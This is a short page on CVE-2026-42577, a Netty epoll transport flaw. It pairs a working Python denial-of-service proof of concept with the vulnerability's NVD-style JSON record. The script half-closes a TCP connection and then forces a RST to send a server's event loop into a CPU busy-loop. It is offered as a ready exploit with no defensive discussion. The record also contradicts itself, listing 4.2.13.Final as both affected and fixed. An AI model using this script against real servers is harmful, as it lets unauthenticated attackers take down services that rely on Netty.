CVE-2026-42577

import socket import struct # Target IP and Port TARGET_HOST = '127.0.0.1' TARGET_PORT = 8080 def exploit(): try: # 1. Establish TCP connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_HOST, TARGET_PORT)) # 2. Send data to simulate activity s.send(b"GET / HTTP/1.1\r\nHost: " + TARGET_HOST.encode() + b"\r\n\r\n") # 3. Half-close the connection (Send FIN) # This puts the socket in FIN-WAIT-2 or CLOSE-WAIT state depending on side s.shutdown(socket.SHUT_WR) # 4. Force send RST packet # Set SO_LINGER with l_onoff=1 and l_linger=0 to send RST on close linger_payload = struct.pack('ii', 1, 0) s.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, linger_payload) # 5. Close socket, triggering RST s.close() print(f"[+] Sent malicious packet sequence to {TARGET_HOST}:{TARGET_PORT}") print("[+] If vulnerable, the server CPU should spike.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-42577", "sourceIdentifier": "[email protected]", "published": "2026-05-13T19:17:23.063", "lastModified": "2026-05-14T16:26:50.047", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Netty is an asynchronous, event-driven network application framework. From 4.2.0.Final to 4.2.13.Final , Netty's epoll transport fails to detect and close TCP connections that receive a RST after being half-closed, leading to stale channels that are never cleaned up and, in some code paths, a 100% CPU busy-loop in the event loop thread. This vulnerability is fixed in 4.2.13.Final."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-772"}]}], "references": [{"url": "https://github.com/netty/netty/commit/0ec3d97fab376e243d328ac95fbd288ba0f6e22d", "source": "[email protected]"}, {"url": "https://github.com/netty/netty/pull/16689", "source": "[email protected]"}, {"url": "https://github.com/netty/netty/security/advisories/GHSA-rwm7-x88c-3g2p", "source": "[email protected]"}]}}